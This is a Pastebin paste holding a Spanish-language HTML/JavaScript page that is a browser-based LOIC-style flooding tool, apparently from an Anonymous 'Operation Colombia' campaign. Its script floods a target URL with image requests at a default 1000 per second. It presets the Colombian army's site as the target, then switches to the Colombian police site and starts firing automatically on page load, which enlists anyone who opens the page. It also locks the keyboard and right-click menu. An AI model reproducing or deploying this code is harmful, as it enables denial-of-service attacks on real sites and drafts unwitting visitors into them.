Advertisement
Guest User

admin serv

a guest
Jan 19th, 2012
41,852
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.70 KB | None | 0 0
  1. <!doctype html public "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><script language=javascript>
  2. function shant()
  3. {
  4. alert('El teclado a sido bloqueado por mi xD, Atte. Operation Colombia')
  5. }
  6. document.onkeydown=shant;
  7. </script><script type="text/javascript" language="Javascript">
  8.  
  9.  
  10.  
  11. <!-- Begin
  12.  
  13.  
  14.  
  15. document.oncontextmenu = function(){return false}
  16.  
  17.  
  18.  
  19. // End -->
  20.  
  21.  
  22.  
  23. </script>
  24. <div class="centrado">
  25. <div style="float: left; overflow: hidden; padding-top: 4px; width: 1100px;">
  26. <div id="loic" style="height: 770px; margin-bottom: 20px; width: 1100px; z-index: 10;">
  27. <div style="margin-left: auto; margin-right: auto;">
  28. .
  29. <h1>
  30. &nbsp;</h1>
  31. <div style="height: 100%; left: -177px; position: relative; top: 11px; width: 752px;">
  32. <div style="height: 331px; left: 186px; position: absolute; top: -15px; width: 490px;">
  33. <img alt="LOIC" height="482" src="http://i42.tinypic.com/307rnsz.jpg" width="979" /></div>
  34. <div style="height: 73px; left: 427px; position: absolute; top: -1px; width: 323px;">
  35. <fieldset style="height: 100%; width: 100%;">
  36. <legend><span style="color:#ffffff;"><span style="font-family:comic sans ms,cursive;">Step 1. Selecciona Target: </span></span></legend><span style="color:#ffffff;"><span style="font-family:comic sans ms,cursive;"> </span></span><label><span style="color:#ffffff;"><span style="font-family:comic sans ms,cursive;">URL: </span></span><input id="targetURL" name="xD" style="width: 100%;" value="http://www.ejercito.mil.co/" /> </label> <legend></legend></fieldset>
  37. </div>
  38. <div style="height: 100px; left: 876px; position: absolute; top: -8px; width: 240px;">
  39. <fieldset style="height: 100%; width: 100%;">
  40. <legend>Step 2. Listo?</legend><button id="fireButton" style="background-color: #ff9900; border-color: rgb(255, 255, 255); color: white; height: 70px; width: 240px;">Dejar de Disparar!</button></fieldset>
  41. </div>
  42. <div style="height: 140px; left: 404px; position: absolute; top: 110px; width: 685px;">
  43. <fieldset style="height: 100%; width: 100%;">
  44. <legend><span style="color:#ffffff;"><span style="font-family:comic sans ms,cursive;">Opcional. Opciones De Attack? </span></span></legend><span style="color:#ffffff;"><span style="font-family:comic sans ms,cursive;"> </span></span><label><span style="color:#ffffff;"><span style="font-family:comic sans ms,cursive;"><span><span title="Requests per second">Solicitudes por segundo</span></span></span></span>: <input id="rps" style="width: 40px;" value="1000" /></label> <label><span style="font-family:comic sans ms,cursive;"><span style="color:#ffffff;">Mensaje: </span></span><input id="message" style="width: 100%;" value="Todos somos uno! Anonymous" /> </label></fieldset>
  45. <div style="height: 163px; left: 0px; position: absolute; top: 167px; width: 676px;">
  46. <fieldset style="height: 100%; width: 100%;">
  47. <legend><span style="color:#ffffff;"><span style="font-family:comic sans ms,cursive;">Attack status:</span></span></legend>
  48. <dl>
  49. <dt>
  50. <span style="color:#ffffff;">Solicitudes:</span></dt>
  51. <dd class="Estilo4" id="requestedCtr">
  52. <span style="background-color:#ffffff;">8035</span></dd>
  53. <dt>
  54. <span style="color:#ffffff;">Logros:</span></dt>
  55. <dd class="Estilo3" id="succeededCtr">
  56. <span style="color:#ffffff;">0</span></dd>
  57. <dt>
  58. <span style="color:#ffffff;">Fallidos:</span></dt>
  59. &nbsp;
  60. <dd class="Estilo2" id="failedCtr">
  61. <span style="color:#ffffff;">0</span></dd>
  62. </dl>
  63. </fieldset>
  64. </div>
  65. </div>
  66. </div>
  67. <script>
  68.  
  69. (function () {
  70.  
  71. var fireInterval;
  72. var isFiring = false;
  73. var currentTime = new Date()
  74. var lastSuccess = currentTime.getTime();
  75.  
  76. var requestedCtrNode = document.getElementById("requestedCtr"),
  77. succeededCtrNode = document.getElementById("succeededCtr"),
  78. failedCtrNode = document.getElementById("failedCtr"),
  79. targetURLNode = document.getElementById("targetURL"),
  80. fireButton = document.getElementById("fireButton"),
  81. messageNode = document.getElementById("message"),
  82. rpsNode = document.getElementById("rps"),
  83. timeoutNode = document.getElementById("timeout");
  84.  
  85. var targetURL = targetURLNode.value;
  86. targetURLNode.onchange = function () {
  87. targetURL = this.value;
  88. };
  89.  
  90. var requestsHT = {}; // requests hash table, may come in handy later
  91.  
  92. var requestedCtr = 0,
  93. succeededCtr = 0,
  94. failedCtr = 0;
  95.  
  96. var makeHttpRequest = function () {
  97.  
  98. if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 1000 hung requests
  99. return;
  100. } else { lastSuccess = currentTime.getTime();};
  101.  
  102. var rID =Number(new Date());
  103. var img = new Image();
  104. img.onerror = function () { onFail(rID); };
  105. img.onabort = function () { onFail(rID); };
  106. img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  107.  
  108. img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  109. requestsHT[rID] = img;
  110. onRequest(rID);
  111. };
  112.  
  113. var onRequest = function (rID) {
  114. requestedCtr++;
  115. requestedCtrNode.innerHTML = requestedCtr;
  116. };
  117.  
  118. var onComplete = function (rID) {
  119. delete requestsHT[rID];
  120. };
  121.  
  122. var onFail = function (rID) {
  123. // failedCtr++;
  124. //failedCtrNode.innerHTML = failedCtr;
  125.  
  126. succeededCtr++; //Seems like the url will always fail it it isn't an image
  127. succeededCtrNode.innerHTML = succeededCtr;
  128.  
  129.  
  130. delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  131. };
  132.  
  133. var onSuccess = function (rID) {
  134. succeededCtr++;
  135. succeededCtrNode.innerHTML = succeededCtr;
  136. delete requestsHT[rID];
  137. };
  138.  
  139. fireButton.onclick = function () {
  140. if (isFiring) {
  141. clearInterval(fireInterval);
  142.  
  143. isFiring = false;
  144. this.innerHTML = "Disparar Otra Vez!";
  145. } else {
  146. isFiring = true;
  147. this.innerHTML = "Dejar de Disparar!";
  148.  
  149. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  150. }
  151. };
  152. function FireIbero() {
  153. if (isFiring) {
  154. clearInterval(fireInterval);
  155.  
  156. isFiring = false;
  157. this.innerHTML = "Disparar Otra Vez!";
  158. } else {
  159. isFiring = true;
  160. this.innerHTML = "Stop flooding";
  161.  
  162. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  163. }
  164. };
  165. //Cambiar Target y descomentar la funcion FireIbero();
  166. document.getElementById("targetURL").value = "http://www.policia.gov.co/portal/page/portal/HOME/home";
  167. FireIbero();
  168.  
  169. })();
  170.  
  171. </script> </div>
  172. </div>
  173. </div>
  174. </div>
  175. <p>
  176. <span _fck_bookmark="1" style="display: none; ">&nbsp;</span><script>
  177.  
  178. alert("#OpDemocracia
  179. target:http://www.policia.gov.co/portal/page/portal/HOME/home")
  180. </script><script>
  181. var _wau = _wau || []; _wau.push(["tab", "lf1vnhkrsd0x", "38b", "left-middle"]);(function() { var s=document.createElement("script"); s.async=true; s.src="http://widgets.amung.us/tab.js";document.getElementsByTagName("head")[0].appendChild(s);})();
  182. </script><!--!doctype--></p>
  183. </!doctype>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement